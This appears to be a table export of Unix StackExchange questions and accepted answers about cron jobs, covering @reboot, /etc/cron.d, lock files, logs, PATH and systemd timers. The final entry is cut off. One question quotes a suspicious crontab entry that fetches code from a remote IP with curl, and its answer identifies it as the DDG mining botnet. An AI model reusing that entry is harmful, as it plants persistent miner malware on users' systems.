date int64 1,220B 1,719B | question_description stringlengths 28 29.9k | accepted_answer stringlengths 12 26.4k | question_title stringlengths 14 159 |
|---|---|---|---|
1,341,916,713,000 |
man 5 crontab is pretty clear on how to use crontab to run a script on boot:
These special time specification "nicknames" are supported, which replace the 5 initial time and date
fields, and are prefixed by the `@` character:
@reboot : Run once after reboot.
So I happily added a single line to my cront... |
This can be a bit of a confusing topic because there are different implementations of cron. Also there were several bugs that broke this feature, and there are also some use cases where it simply won't work, specifically if you do a shutdown/boot vs. a reboot.
Bugs
datapoint #1
One such bug in Debian is covered here, ... | crontab's @reboot only works for root? |
1,341,916,713,000 |
Here's what I did on Debian Jessie:
install cron via apt-get install cron
put a backup_crontab file in /etc/cron.d/
However the task is never running.
Here are some outputs:
/# crontab -l
no crontab for root
/# cd /etc/cron.d && ls
backup_crontab
/etc/cron.d# cat backup_crontab
0,15,30,45 * * * * /backup.sh >/dev/... |
Files in /etc/cron.d need to also list the user that the job is to be run under.
i.e.
0,15,30,45 * * * * root /backup.sh >/dev/null 2>&1
You should also ensure the permissions and owner:group are set correctly (-rw-r--r-- and owned by root:root)
| Crontab never running while in /etc/cron.d |
1,341,916,713,000 |
Sometimes you have to make sure that only one instance of a shell script is running at the same time.
For example a cron job which is executed via crond that does not provide
locking on its own (e.g. the default Solaris crond).
A common pattern to implement locking is code like this:
#!/bin/sh
LOCK=/var/tmp/mylock
if ... |
Here's another way to do locking in shell script that can prevent the race condition you describe above, where two jobs may both pass line 3. The noclobber option will work in ksh and bash. Don't use set noclobber because you shouldn't be scripting in csh/tcsh. ;)
lockfile=/var/tmp/mylock
if ( set -o noclobber; ech... | Correct locking in shell scripts? |
1,341,916,713,000 |
When configuring cron to run a command every other day using the "Day of Month" field, like so:
1 22 */2 * * COMMAND
it runs every time the day of month is odd: 1,3,5,7,9 and so on.
How can I configure cron to run on days of month that are even like 2,6,8,10 and so on (without specifying it literally, which is probl... |
The syntax you tried is actually ambiguous. Depending on how many days are in the month, some months it will run on odd days and some on even. This is because the way it is calculated takes the total number of possibilities and divides them up. You can override this strage-ish behavior by manually specifying the day r... | How can I tell cron to run a command every other day (odd/even) |
1,341,916,713,000 |
First of all I'm using CentOS
[root@a etc]# cat system-release
CentOS release 6.5 (Final)
[root@a cron.daily]# ps -ef | grep cron
root 982 1 0 Jun14 ? 00:01:15 crond
root 5692 5441 0 00:49 pts/0 00:00:00 grep cron
[root@a cron.daily]#
And I'm running out of my resources, so I want to de... |
Cron logs on CentOS 6 are located in /var/log/cron by default. This only logs the execution of commands, not the results or exit statuses. The output of the executed command goes to the user's mail by default (root's mail in this case). An alternate email can be specified by the MAILTO variable inside of the crontab. ... | Where to find the Crontab logs in CentOS |
1,341,916,713,000 |
I wanted to add something to my root crontab file on my Raspberry Pi, and found an entry that seems suspicious to me, searching for parts of it on Google turned up nothing.
Crontab entry:
*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:... |
It is a DDG mining botnet , how it work :
exploiting an RCE vulnerability
modifying the crontab
downloading the appropriate mining program (written with go)
starting the mining process
DDG: A Mining Botnet Aiming at Database Servers
SystemdMiner when a botnet borrows another botnet’s infrastructure
U&L : How can I k... | Suspicious crontab entry running 'xribfa4' every 15 minutes |
1,341,916,713,000 |
I am currently trying to understand the difference between init.d and cron @reboot for running a script at startup/booting of the system.
The use of @reboot (this method was mentioned in this forum by hs.chandra) is some what simpler, by simply going into crontab -e and creating a @reboot /some_directory/to_your/scrip... |
init.d, also known as SysV script, is meant to start and stop services during system initialization and shutdown. (/etc/init.d/ scripts are also run on systemd enabled systems for compatibility).
The script is executed during the boot and shutdown (by default).
The script should be an init.d script, not just a script... | Running a script during booting/startup; init.d vs cron @reboot |
1,341,916,713,000 |
I'm using CentOS 7 what my aim is to create a cron for every five seconds but as I researched we can use cron only for a minute so what I am doing now is I have created a shell file.
hit.sh
while sleep 5; do curl http://localhost/test.php; done
but I have hit it manually through right clicking it.
What I want is to c... |
Users trying to run a script as a daemon on a modern system should be using systemd:
[Unit]
Description=hit service
After=network-online.target
[Service]
ExecStart=/path/to/hit.sh
[Install]
WantedBy=multi-user.target
Save this as /etc/systemd/system/hit.service, and then you will be able to start/stop/enable/disabl... | How do I create a service for a shell script so I can start and stop it like a daemon? |
1,341,916,713,000 |
I want to use systemd to run a command every 5 minutes. However, there is a risk that occasionally the task may take longer than 5 minutes to run. At that point, will systemd start a second instance of the command i.e. will I end up with 2 processes running?
Is it possible to tell systemd not to start a second proces... |
This is the default (and the only) behavior. It is not explicitly documented, but is implied by systemd's operation logic.
systemd.timer(5) reads:
For each timer file, a matching unit file must exist, describing the unit to activate when the timer elapses.
systemd(1), in turn, describes the concept of unit states an... | Does systemd timer unit skip the next run if the process hasn't finished yet? |
1,341,916,713,000 |
How are files under /etc/cron.d used?
From https://www.cyberciti.biz/faq/how-do-i-add-jobs-to-cron-under-linux-or-unix-oses/
cron reads the files in /etc/cron.d/ directory. Usually system daemon
such as sa-update or sysstat places their cronjob here. As a root user
or superuser you can use following directories ... |
In Debian derivatives, including Lubuntu, the files in /etc/cron.d are effectively /etc/crontab snippets, with the same format. Quoting the cron manpage:
Additionally, in Debian, cron reads the files in the /etc/cron.d directory. cron treats the files in /etc/cron.d as in the same way as the /etc/crontab file (they f... | How are files under /etc/cron.d used? |
1,341,916,713,000 |
What is the main difference between the directory cron.d (as in /etc/cron.d/) and crontab?
As far as I understand, one could create a file like /etc/cron.d/my_non_crontab_cronjobs and put whatever one wants inside it, just as one would put them in crontab via crontab -e.
So what is the main difference between the two?... |
The differences are documented in detail in the cron(8) manpage in Debian. The main difference is that /etc/cron.d is populated with separate files, whereas crontab manages one file per user; it’s thus easier to manage the contents of /etc/cron.d using scripts (for automated installation and updates), and easier to ma... | What is the difference between cron.d (as in /etc/cron.d/) and crontab? |
1,341,916,713,000 |
I have seen a crontab record in system.
0-55/5 * * * * root <command>
I read the crontab -e example files and I know the first position stands for minute. But I cannot figure out the meaning of / (slash) there. Could anyone explain the meaning to me?
|
The forward slash is used in conjunction with ranges to specify step values.
0-55/5 * * * * means your command will be executed every five minutes (0, 5, 10, 15, ..., 55).
0-55/5 is the same as */5.
| What's the meaning of the slash in crontab? |
1,341,916,713,000 |
I'm wondering who starts unattended-upgrades in my debian-jessie:
my man page
DESCRIPTION
This program can download and install security upgrades automatically
and unattended, taking care to only install packages from the config‐
ured APT source, and checking for dpkg prompts about configuration file
... |
Where do I have to check/modify if I want to change my schedule?
The unattended-upgrades is configured to be applied automatically .
To verify it check the /etc/apt/apt.conf.d/20auto-upgrades file , you will get :
APT::Periodic::Update-Package-Lists "1";
APT::Periodic::Unattended-Upgrade "1";
to modify it you shoul... | How is unattended-upgrades started and how can I modify its schedule? |
1,341,916,713,000 |
I am using Arch Linux with KDE/Awesome WM. I am trying to get
notify-send to work with cron.
I have tried setting DISPLAY/XAUTHORITY variables, and running notify-send with "sudo -u", all without result.
I am able to call notify-send interactively from the session and get notifications.
FWIW, the cron job is running... |
You need to set the DBUS_SESSION_BUS_ADDRESS variable. By default cron does
not have access to the variable. To remedy this put the following script
somewhere and call it when the user logs in, for example using awesome and
the run_once function mentioned on the wiki. Any method will do, since it
does not harm if the ... | Using notify-send with cron |
1,341,916,713,000 |
Cron doesn't use the path of the user whose crontab it is and, instead, has its own. It can easily be changed by adding PATH=/foo/bar at the beginning of the crontab, and the classic workaround is to always use absolute paths to commands run by cron, but where is cron's default PATH defined?
I created a crontab with t... |
It’s hard-coded in the source code (that link points to the current Debian cron — given the variety of cron implementations, it’s hard to choose one, but other implementations are likely similar):
#ifndef _PATH_DEFPATH
# define _PATH_DEFPATH "/usr/bin:/bin"
#endif
cron doesn’t read default paths from a configuration ... | Where is cron's PATH set? |
1,341,916,713,000 |
On a new Ubuntu 10.4 instance, I tried to use the locate command only to receive the error
locate: can not stat () `/var/lib/mlocate/mlocate.db': No such file or directory
from using this command on other systems I'm guessing that this means the database has not yet been built (it is a fresh install). I believe it is... |
The cron job is defined in /etc/cron.daily/mlocate.
To run it immediately:
sudo updatedb
or better
sudo ionice -c3 updatedb
This is better because updatedb is set in the Idle I/O scheduling class, so that it do not disturb (from the I/O point of view) other applications. From ionice man page:
-c class
T... | How do I enable locate and queue the database to be built? |
1,341,916,713,000 |
On Redhat systems cron logs into /var/log/cron file. What is the equivalent of that file on Debian systems?
|
Under Ubuntu, cron writes logs via rsyslogd to /var/log/syslog. You can redirect messages from cron to another file by uncommenting one line in /etc/rsyslog.d/50-default.conf. I believe, the same applies to Debian.
| Cron log on debian systems |
1,341,916,713,000 |
I am running my Python script in the background in my Ubuntu machine (12.04) like this -
nohup python testing.py > test.out &
Now, it might be possible that at some stage my above Python script can die for whatever reason.
So I am thinking to have some sort of cron agent in bash shell script which can restart my abo... |
On Ubuntu (until 14.04, 16.04 and later use systemd) can use upstart to do so, better than a cron job. You put a config setup in /etc/init and make sure you specify respawn
It could be a minimal file /etc/init/testing.conf (edit as root):
chdir /your/base/directory
exec python testing.py
respawn
And you can test with... | How to restart the Python script automatically if it is killed or dies |
1,341,916,713,000 |
Question
I'd like to be able to run a UNIX command precisely every second over a long time period.
I need a solution, which does not lag behind after a certain time, because of the time the command itself needs for execution. sleep, watch, and a certain python script all failed me in this regard.
On the microcontrolle... |
How does this Perl script I just whipped up work?
#!/usr/bin/perl
use strict;
use warnings;
use Time::HiRes qw/time sleep/;
sub launch {
return if fork;
exec @_;
die "Couldn't exec";
}
$SIG{CHLD} = 'IGNORE';
my $interval = shift;
my $start = time();
while (1) {
launch(@ARGV);
$start += $interva... | Run unix command precisely at very short intervals WITHOUT accumulating time lag over time |
1,341,916,713,000 |
Is there any variable that cron sets when it runs a program ? If the script is run by cron, I would like to skip some parts; otherwise invoke those parts.
How can I know if the Bash script is started by cron ?
|
I'm not aware that cron does anything to its environment by default that can be of use here, but there are a couple of things you could do to get the desired effect.
1) Make a hard or soft link to the script file, so that, for example, myscript and myscript_via_cron point to the same file. You can then test the value ... | Check if script is started by cron, rather than invoked manually |
1,341,916,713,000 |
I'm curious to know: why are crontabs stored in /var rather than in the user's home directories? It makes it a total pain to isolate these files for upgrades but I suspect that there is a logical reason...
|
Few reasons I can think of:
In corporate environments, you can have thousands of users. If so, cron would have to scan through every single user's directory every single minute to check for the crontab file (whether it has been created, deleted, or modified).
By keeping them in a single location, it doesn't have to d... | Why aren't crontabs stored in user home directories? |
1,341,916,713,000 |
When I schedule a job, some seem to be applied immediately, while others after a reboot. So is it recommended to restart cron (crond) after adding a new cron job? How to do that properly (esp. in a Debian system), and should that be done with sudo (like sudo service cron restart) even for that of normal users'?
I trie... |
No you don't have to restart cron, it will notice the changes to your crontab files (either /etc/crontab or a users crontab file).
At the top of your /etc/crontab you probably have (if you have the Vixie implementation of cron that IIRC is the one on Debian):
# /etc/crontab: system-wide crontab
# Unlike any other cro... | Is a restart of cron or crond necessary after each new schedule addition or modification? |
1,341,916,713,000 |
The Case:
I need to run some commands/script at certain intervals of time and for this I have two options:
set up a cron-job
implement a loop with sleep in the script itself.
Question:
Which is the better option from resource consumption point of view, why? Is cron the better way? Does cron use some kind of triggers... |
Use cron because it is a better and more standard practice. At least if this is something that will regularly run (not just something you patched together in a minute). cron is a cleaner and more standard way. It's also better because it runs the shell detached from a terminal - no problem with accidental termination ... | cron Vs. sleep - which is the better one in terms of efficient cpu/memory utilization? |
1,341,916,713,000 |
I have a script run from a non-privileged users' crontab that invokes some commands using sudo. Except it doesn't. The script runs fine but the sudo'ed commands silently fail.
The script runs perfectly from a shell as the user in question.
Sudo does not require a password. The user in question has (root) NOPASSWD: AL... |
sudo has some special options in its permissions file, one of which allows a restriction on its usage to shells that are are running inside a TTY, which cron is not.
Some distros including the Amazon Linux AMI have this enabled by default. The /etc/sudoers file will look something like this:
# Disable "ssh hostname su... | Why does cron silently fail to run sudo stuff in my script? |
1,341,916,713,000 |
I've had a cronjob working for about a fortnight without any problems.
Then last night I checked I didn't get the email that I usually get.
I went to the terminal to try send myself an email, I got the following error:
mail: cannot send message: process exited with a non-zero status
I haven't changed anything with ... |
I have get the same problem in an Ubuntu 14.04 server. And I find error message in /var/log/mail.err, which said:
postfix/sendmail[27115]: fatal: open /etc/postfix/main.cf: No such file or directory
Then I just reconfigured postfix and solved this problem.
sudo dpkg-reconfigure postfix
| mail: cannot send message: process exited with a non-zero status |
1,341,916,713,000 |
It's not clear to be from the manpage for crontab. IS extra white space allowed between the fields? e.g., if I have this:
1 7 * * * /scripts/foo
5 17 * * 6 /script/bar
31 6 * * 0 /scripts/bofh
is it safe to reformat it nicely like this:
1 7 * * * /scripts/foo
5 17 * * 6 /script/bar
31 6 * * 0 /scripts/bofh
?
|
Yes extra space is allowed and you can nicely line up your fields for readability. From man 5 crontab
Blank lines and leading spaces and tabs are ignored.
and
An environment setting is of the form,
name = value
where the spaces around the equal-sign (=) are optional, and any sub‐
sequent non-leading spaces i... | Do spaces matter in a crontab |
1,341,916,713,000 |
I used crontab -e to add the following line to my crontab:
* * * * * echo hi >> /home/myusername/test
Yet, I don't see that the test file is written to. Is this a permission problem, or is crontab not working correctly?
I see that the cron process is running. How can I debug this?
Edit - Ask Ubuntu has a nice questio... |
There are implementations of cron (not all of them, and I don't remember which offhand, but I've encountered one under Linux) that check for updated crontab files every minute on the minute, and do not consider new entries until the next minute. Therefore, a crontab can take up to two minutes to fire up for the first ... | Why did my crontab not trigger? |
1,341,916,713,000 |
I want two jobs to run sometime every day, serially, in exactly the order I specify. Will this crontab reliably do what I want?
@daily job1
@daily job2
I'm assuming they run one after the other, but I was unable to find the answer by searching the Web or from any of these manpages: cron(1), crontab(1), crontab(5).
Th... |
After a quick glance at the source (in Debian squeeze, which I think is the same version), it does look like entries within a given file and with the same times are executed in order. For this purpose, @daily and 0 0 * * * are identical (in fact @daily is identical to 0 0 * * * in this cron).
I would not rely on this ... | Are multiple @daily crontab entries processed in order, serially? |
1,341,916,713,000 |
Is this valid crontab time specification, doing what is expected:
0 22-4 * * *
Or is it necessary to do something like
0 22,23,0,1,2,3,4 * * *
|
I've never attempted to use a range like that, and I'm not sure whether it would work. So my first advice would be to test it and see what happens - though probably with a script that only does a log entry or something else innocuous.
Second, for ATT and BSD cron you can't have ranges and lists co-existing, so there y... | Crontab entry with hour range going over midnight |
1,327,513,801,000 |
I need to remove files older than 3 days with a cron job in 3 different directories. (these 3 directories are children of a parent directory /a/b/c/1 & /a/b/c/2 & /a/b/c/3) Can this be done with one line in the crontab?
|
This is easy enough (although note that this goes by a modification time more than 3 days ago since a creation time is only available on certain filesystems with special tools):
find /a/b/c/1 /a/b/c/2 -type f -mtime +3 #-delete
Remove the # before the -delete once you are sure that it is finding the files you want to... | Cron job to delete files older than 3 days |
1,327,513,801,000 |
I have a cron job that is running a script. When I run the script via an interactive shell (ssh'ed to bash) it works fine. When the script runs by itself via cron it fails.
My guess is that it is using some of the environmental variables set in the interactive shell. I'm going to troubleshoot the script and remove the... |
The main differences between running a command from cron and running on the command line are:
cron is probably using a different shell (generally /bin/sh);
cron is definitely running in a small environment (which ones depends on the cron implementation, so check the cron(8) or crontab(5) man page; generally there's j... | Run script in a non interactive shell? |
1,327,513,801,000 |
I need to run a script every 64 hours. I couldn't find the answer with cron. Is it possible with it, or should I use a loop in a shell script?
|
I suggest perhaps using a crontab "front end" like crontab.guru for figuring out crontab if you're a beginner.
However, as in your case, the hour setting only allows for values of 0 to 23, so you can't use crontab here.
Instead, I'd suggest using at. In your case, I'd probably use something like:
at now + 64 hours
an... | How to run a script every 64 hours? |
1,327,513,801,000 |
How do I temporarily disable one or more users' cron jobs? In particular, I do not want to suspend the user's cron rights - merely not fire any of their jobs.
I am on SLES 11 SP2 and SP3 systems
|
(Note that this answer was written in the days before systemd. I haven't checked how systemd's version of cron behaves in this scenario.)
touch /var/spool/cron/crontabs/$username; chmod 0 /var/spool/cron/crontabs/$username should do the trick. Restore with chmod 600 and touch (you need to change the file's mtime to ma... | how to temporarily disable a user's cronjobs? |
1,327,513,801,000 |
Could you advise me what to write in crontab so that it runs some job (for testing I will use /usr/bin/chromium-browser) every 15 seconds?
|
You can't go below one minute granularity with cron. What you can do is, every minute, run a script that runs your job, waits 15 seconds and repeats. The following crontab line will start some_job every 15 seconds.
* * * * * for i in 0 1 2; do some_job & sleep 15; done; some_job
This script assumes that the job will ... | Cron running job every 15 seconds |
1,327,513,801,000 |
I add some job in crontab file on a server.
When I log out and the server is still on, will the job still run?
Does it matter if I create a screen or tmux session and run some shell in it and detach it before log out?
|
cron is a process which deals with scheduled tasks whether you are logged in or not. It is not necessary to have a screen or tmux session running since the cron daemon will execute the scheduled tasks in separate shells.
See man cron and man crontab for details.
| Does a job scheduled in crontab run even when I log out? |
1,327,513,801,000 |
I've edited my root cron tab to periodically execute a script located in a particular user's folder using this command:
sudo crontab -e
When cron runs the script, this is the output:
sh: 1: /home/user/Location/Of/Script: Permission denied
I thought that the root cron had permission to do anything. I have no issue wh... |
I think that your script is not executable. So, use the following command to make it:
chmod +x /home/user/Location/Of/Script
Or, if you are not the owner of that script:
sudo chmod +x /home/user/Location/Of/Script
| Root Cron Won't Run Script (permission denied) |
1,327,513,801,000 |
I have the following general question regarding cron jobs.
Suppose I have the following in my crontab:
* 10 * * * * someScript.sh
* 11 * * * * someScript2.sh
30 11 */2 * * someScript3.sh <-- Takes a long time let's say 36 hours.
* 12 * * * someScript4.sh
Is it smart enough to run the remaining jobs at the appropriat... |
Each cron job is executed independent of any other jobs you may have specified. This means that your long-lived script will not impede other jobs from being executed at the specified time.
If any of your scripts are still executing at their next scheduled cron interval, then another, concurrent, instance of your scrip... | Run multiple cron jobs where one job takes a long time |
1,327,513,801,000 |
I have several SSL certificates, and I would like to be notified, when a certificate has expired.
My idea is to create a cronjob, which executes a simple command every day.
I know that the openssl command in Linux can be used to display the certificate info of remote server, i.e.:
openssl s_client -connect www.google.... |
Your command would now expect a http request such as GET index.php for example. Use this instead:
if true | openssl s_client -connect www.google.com:443 2>/dev/null | \
openssl x509 -noout -checkend 0; then
echo "Certificate is not expired"
else
echo "Certificate is expired"
fi
true: will just give no input f... | script to check if SSL certificate is valid |
1,327,513,801,000 |
My colleague ran grep | crontab. After that all jobs disappeared. Looks like he was trying to run crontab -l.
So what happened after running the command grep | crontab? Can anyone explain?
|
crontab can install new crontab for the invoking user (or the mentioned user as root) reading from STDIN. This is what happended in your case.
grep without any option will generate an error message on STDERR as usual and you are piping the STDOUT of grep to STDIN of crontab which is blank hence your crontab will be go... | Can grep | crontab destroy all jobs? |
1,327,513,801,000 |
I have a script that I want to be able to run in two machines. These two machines get copies of the script from the same git repository. The script needs to run with the right interpreter (e.g. zsh).
Unfortunately, both env and zsh live in different locations in the local and remote machines:
Remote machine
$ which en... |
You cannot solve this through shebang directly, since shebang is purely static. What you could do is having some »least common multiplier« (from a shell perspective) in the shebang and re-execute your script with the right shell, if this LCM isn't zsh. In other words: Have your script executed by a shell found on al... | Path independent shebangs |
1,327,513,801,000 |
No /var/log/cron, no /var/log/cron.log on my Debian 7. Where is my logfile of crontab?
ls /var/log/cron*
ls: cannot access /var/log/cron*: No such file or directory
|
I think on debian cron writes logs in /var/log/syslog.
If your system depends on rsyslogor syslogd you can check and uncomment either in /etc/rsyslog.conf or /etc/syslog.conf for line:
# cron.* /var/log/cron.log
and then restart services.
If your system depends on systemd for example you can check with following comm... | Where is my logfile of crontab? |
1,327,513,801,000 |
I have set up a backup script to back up world data on my Minecraft server hourly using cron, but because the worlds being constantly edited by players, tar was telling me that files changed while they were read. I added --ignore-command-error to the tar in the script and that suppresses any errors when I run it manua... |
Cron will attempt to send an email with any output that may have occurred when the command was run. From cron's man page:
When executing commands, any output is mailed to the owner of the
crontab (or to the user specified in the MAILTO environment variable
in the crontab, if such exists). Any job output can also... | Stop cron sending mail for backup script? |
1,327,513,801,000 |
I am using crontab for the first time. Want to write a few very simple test cron tasks, and run them.
$crontab * * * * * echo "Hi"
doesn't produce anything.
crontab */1 * * * * echo "hi"
says */1: No such file or directory.
Also, how do I list the currently running cron tasks (not just the ones I own, but ones star... |
You can't use crontab like that. Use man crontab to read about the correct way of calling this utility.
You'll want to use crontab -e to edit the current user's cron entries (you can add/modify/remove lines). Use crontab -l to see the current list of configured tasks.
As for seeing other user's crontabs, that's not po... | How do I add an entry to my crontab? |
1,327,513,801,000 |
What's the best way to suppress output (stdout and stderr) unless the program exits with a non-zero code? I'm thinking:
quiet_success()
{
file=$(mktemp)
if ! "$@" > "$file" 2>&1; then
cat "$file"
fi
rm -f "$file"
}
And run quiet_success my_long_noisy_script.sh but I'm not sure if there's a better way. I... |
You're going to have to buffer the output somewhere no matter what, since you need to wait for the exit code to know what to do. Something like this is probably easiest:
$ output=`my_long_noisy_script.sh 2>&1` || echo $output
| Suppress output unless non-zero exit code |
1,327,513,801,000 |
I have a server that it is normally switched off for security reasons. When I want to work on it I switch it on, execute my tasks, and shut it down again. My tasks usually take no more than 15 minutes. I would like to implement a mechanism to shut it down automatically after 60 minutes.
I've researched how to do this ... |
If you execute your tasks as the same user every time, you can simply add the shutdown command, optionally with the option -P, to your profile. The number stands for the amount of minutes the shutdown command is delayed.
Make sure your user has the ability to execute the shutdown command via sudo without a password.
e... | How do I shut down a Linux server after running for 60 minutes? |
1,327,513,801,000 |
How can I only receive emails from cron if there are errors?
In the overwhelmingly vast majority of cases, the tasks will run just fine - and I truly do not care about the output.
It is only in the rare case of a failure that I want/need to know.
I have procmail available - but am not sure if what I'm describing is po... |
As you are not caring for the output, you can redirect the STDOUT of a job to /dev/null and let the STDERR being send via mail (using MAILTO environment variable).
So, for example:
...
...
[email protected]
...
...
* * * * * /my/script.sh >/dev/null
will send mail when there is output only on STDERR (with the STDERR)... | Disable cron emails unless there are errors? |
1,327,513,801,000 |
This is a Red Hat Enterprise Linux 5 system (RHEL). We manage this system using CFengine.
We have several cronjobs which are running twice as often as usual. I checked the cronjobs under /etc/cron.d/ and this directory contains the actual script called host-backup, and also contains a cfengine backup file called host-... |
(If you're paying for Red Hat support, you should ask them this kind of questions. This is exactly what you're paying for!)
From the RHEL5 crontab(5) man page:
If it exists, the /etc/cron.d/ directory is parsed like the cron spool directory, except that the files in it are not user-specific and are therefore read wit... | Does RHEL/CentOS execute all cronjob files under /etc/cron.d/*, or just some of them? |
1,327,513,801,000 |
I have a deployment script.
It must add something to a user crontab
(trigger a script that cleans logs every XXX days);
however, this must be done only during the first deployment,
or when it needs to be updated.
(I can run xxx.py deploy env or xxx.py update env.)
so I need to do this:
Check if my cronJob already ex... |
My best idea so far
To check first if the content matches what should be in there and only update if it doesn't:
if [[ $(crontab -l | egrep -v "^(#|$)" | grep -q 'some_command'; echo $?) == 1 ]]
then
set -f
echo $(crontab -l ; echo '* 1 * * * some_command') | crontab -
set +f
fi
but this gets complicated ... | Add something to crontab programmatically (over ssh) |
1,327,513,801,000 |
I'm not quite sure what the standard is for spelling cron. Does one capitalize the whole word? Just the "C"? All lowercase? Is there even a standard, or do you just spell it in whatever way looks or suits best?
Some people say it's an acronym for "Command Run ON unix", others suggest it's derived from "chronos", the G... |
The convention used in the Unix manuals, such as the cron man page from V7, is to capitalize the first letter of utility names when used at the beginning of a sentence, and to use their normal (almost always all-lowercase) spelling within sentences or when they're used in examples.
This convention is used even when th... | Correct capitalization of "cron" |
1,327,513,801,000 |
Where does standard output from at and cron tasks go, given there
is no screen to display to?
It's not appearing in the directory the jobs were started from, nor in
my home directory.
How could I actually figure this out given that I don't know how to
debug or trace a background job?
|
From the cron man page:
When executing commands, any output is mailed to the owner of the
crontab (or to the user named in the MAILTO environment variable in
the crontab, if such exists). The children copies of cron running
these processes have their name coerced to uppercase, as will be seen
in the syslo... | Where does the output of `at` and `cron` jobs go? |
1,327,513,801,000 |
A few years ago I setup a cron job to automatically ping a URL every minute as part of a monitoring system (that's oversimplification, but it'll do for this question). Because I'm a horrible person, I didn't document this anywhere.
Today, years later, I started having trouble with the application on the other end of t... |
There are only a few places crontabs can hide:
/etc/crontab
/etc/cron.d/*
/etc/crond.{hourly,daily,weekly,monthly}/*
these are called from /etc/crontab, so maybe an asterisk on this
/var/spool/cron/* (sometimes /var/spool/cron/crontabs/*)
Be sure to check at as well, which keeps its jobs in /var/spool/at/ or /var/sp... | How to Find a Fugitive Crontab |
1,327,513,801,000 |
I have a Anaconda Python Virtual Environment set up and if I run my project while that virutal environment is activated everything runs great.
But I have a cronjob configured to run it every hour. I piped the output to a log because it wasn't running correctly.
crontab -e:
10 * * * * bash /work/sql_server_etl/src/pyth... |
Posted a working solution (on Ubuntu 18.04) with detailed reasoning on SO.
The short form is:
1. Copy snippet appended by Anaconda in ~/.bashrc (at the end of the file) to a separate file ~/.bashrc_conda
As of Anaconda 2020.02 installation, the snippet reads as follows:
# >>> conda initialize >>>
# !! Contents within ... | cron job to run under conda virtual environment |
1,327,513,801,000 |
My current crontab looks like this:
00 00 * * 1-5 "/home/user/script.sh"
But it seems like it is not being triggered. All others are triggering fine except the one running at midnight.
What is the proper format for midnight? 00 00 or 00 24?
|
I believe 0 0 is the correct specification for midnight (no leading zeros, so in this case no double zero). From man crontab(5):
field allowed values
----- --------------
minute 0-59
hour 0-23
day of month 1-31
month ... | cron midnight 00 24 or 00 00? [closed] |
1,327,513,801,000 |
Somehow, I am finding it difficult to understand tweaking around * parameters with cron.
I wanted a job to run every hour and I used the below setting:
* */1 * * *
But it does not seem to do the job. Could someone please explain the meaning of above and what is needed for the job?
|
* means every.
*/n means every nth. (So */1 means every 1.)
If you want to run it only once each hour, you have to set the first item to something else than *, for example 20 * * * * to run it every hour at minute 20.
Or if you have permission to write in /etc/cron.hourly/ (or whatever it is on your system), then yo... | Meaning of "* */1 * * *" cron entry? |
1,327,513,801,000 |
I need to start a cronjob every day, but an hour later each day. What I have so far works for the most part, except for 1 day of the year:
0 0 * * * sleep $((3600 * (10#$(date +\%j) \% 24))) && /usr/local/bin/myprog
When the day of year is 365 the job will start at 5:00, but the next day (not counting a leap year) wi... |
My preferred solution would be to start the job every hour but have the script itself check whether it's time to run or not and exit without doing anything 24 times out of 25.
crontab:
0 * * * * /usr/local/bin/myprog
at the top of myprog:
[ 0 -eq $(( $(date +%s) / 3600 % 25 )) ] || exit 0
If you don't want to mak... | How can I start a cronjob 1 hour later each day? |
1,327,513,801,000 |
I want to know whether there is any easier way to run a job every 25 minutes. In cronjob, if you specify the minute parameter as */25, it'll run only on 25th and 50th minute of every hour
|
The command in crontab is executed with /bin/sh so you can use arithmetic expansion to calculate whether the current minute modulo 25 equals zero:
*/5 * * * * [ $(( $(date +\%s) / 60 \% 25 )) -eq 0 ] && your_command
cron will run this entire entry every 5 minutes, but only if the current minute (in minutes since the ... | CronJob every 25 minutes |
1,327,513,801,000 |
Ubuntu 14.04
I don't understand the behaviour I'm seeing with setting up crontab for a service (no login) account (named curator).
When I'm logged in as root, this is what I get:
# crontab -u curator -l
The user curator cannot use this program (crontab)
But, when I switch to the user's account, it works fine:
# su -s... |
I checked the crontab sources and found that if the user cannot open /etc/cron.allow (for instance after chmod 0 /etc/cron.allow), crontab thinks the user is allowed to use it (as if cron.allow did not exist).
But root can read any file, so crontab checking code works as expected. So I recommend you to check first per... | The user x cannot use this program (crontab) |
1,327,513,801,000 |
I need to write a timer unit for a machine which is turned off frequently (e.g. classical desktop setup). This timer unit needs to be activated regularly, but not very often (e.g. weekly, monthly).
I did find some approaches, but they all don't really fit:
According to the man pages, only the OnBootSec and the OnStar... |
This feature has already been implemented in systemd (ver >= 212) using the Persistent= directive so you just need to insert Persistent=true in the unit file while using OnCalendar= directive to establish the date/time to run the job.
Persistent=
Takes a boolean argument. If true, the time when the service unit was l... | systemd - Timer units that mimic anacron behaviour |
1,327,513,801,000 |
I have the following cron jobs defined.
55 8 * * 3 /usr/bin/php /home/mark/dev/processes/customClient/events.php > /home/mark/dev/processes/customClient/events-`date +%Y-%m-%d --date='last Wednesday'`-`date +%Y-%m-%d`.csv
0 9 * * 3 /usr/bin/echo 'The csv for last week, trying my hand at automatigin... |
I strongly recommend putting any non-trivial cron jobs into their own shell script file, for many reasons:
Easier to debug: you can just run the script instead of copy pasting a long line, and with the right shebang line, it behaves much more predictably than if you had the same commands directly in the crontab
Easie... | What's wrong with these two cron jobs? [duplicate] |
1,327,513,801,000 |
I ssh to a server, and want to add some daily jobs (specifially to renew Kerberos tickets even when I log out and I still want my programs in screen or tmux continue to run) to cron. So I run crontab -e, and add the following,
00 00 * * * kinit -R
00 12 * * * kinit -R
When I save it, I am asked by the editor:
File Na... |
crontab -e opens a file in /tmp instead of the actual crontab so that it can check your new crontab for errors and prevent you from overwriting your actual crontab with those errors. If there are no errors, then your actual crontab will be updated. If crontab -e just wrote straight to your actual crontab, then you w... | Shall I save my crontab file in /tmp? |
1,327,513,801,000 |
I was reading about the differences between cron and anacron and I realized that anacron, unlike cron is not a daemon. So I'm wondering how does it work actually if it's not a daemon.
|
It uses a variety of methods to run:
if the system is running systemd, it uses a systemd timer (in the Debian package, you’ll see it in /lib/systemd/system/anacron.timer);
if the system isn’t running systemd, it uses a system cron job (in /etc/cron.d/anacron);
in all cases it runs daily, weekly and monthly cron jobs ... | How does anacron work if it's not a daemon? |
1,327,513,801,000 |
I'd like to run a nightly cron job that deletes all the files in a folder that haven't been accessed in a week or more. What is the most efficient way to do this in bash?
|
You want the find tool.
find folder -depth -type f -atime +7 -delete
(This will delete all files (only regular ones, no pipes, special devices, directories, symbolic links) in the given folder and all subdirectories (recursively) where the last access time is longer than 7 days ago.)
| How can I delete all files in a folder that haven't been accessed in a certain amount of time? |
1,327,513,801,000 |
